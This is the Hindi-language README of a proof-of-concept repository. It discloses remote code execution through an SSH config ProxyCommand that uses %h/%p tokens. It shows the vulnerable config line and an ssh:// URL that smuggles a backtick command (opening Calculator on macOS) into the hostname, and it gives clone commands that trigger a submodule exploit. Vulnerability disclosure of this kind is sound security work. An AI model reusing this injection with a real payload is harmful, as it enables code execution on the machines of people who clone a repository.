poc-proxycommand-vulnerable

असुरक्षित ~/.ssh/config के माध्यम से RCE

ProxyCommand में %h, %p जैसे टोकन का उपयोग सुरंगों और कनेक्शन प्रॉक्सीिंग के लिए SSH का उपयोग करके काफी लोकप्रिय है।

असुरक्षित कॉन्फ़िगरेशन

host *.example.com
  ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p

नोट: अपने प्रारंभिक मूल्यांकन में मैं इस धारणा के तहत था कि '%h (एकल उद्धरण) का उपयोग इससे बचाएगा, लेकिन ऐसा लगता है कि यह अभी भी इस तरह से कमजोर होगा:

url = ssh://'`open -aCalculator`'foo.example.com/bar

से लिया गया: https://man.openbsd.org/ssh_config#ProxyCommand

इस रिपॉजिटरी में क्या है

एक उपमॉड्यूल जो OSX पर कैलकुलेटर खोलने के लिए इस कमजोरी का शोषण करेगा।

इसे आज़माएं:

git clone https://github.com/vin01/poc-proxycommand-vulnerable --recurse-submodules

या

git clone [email protected]:vin01/poc-proxycommand-vulnerable.git --recurse-submodules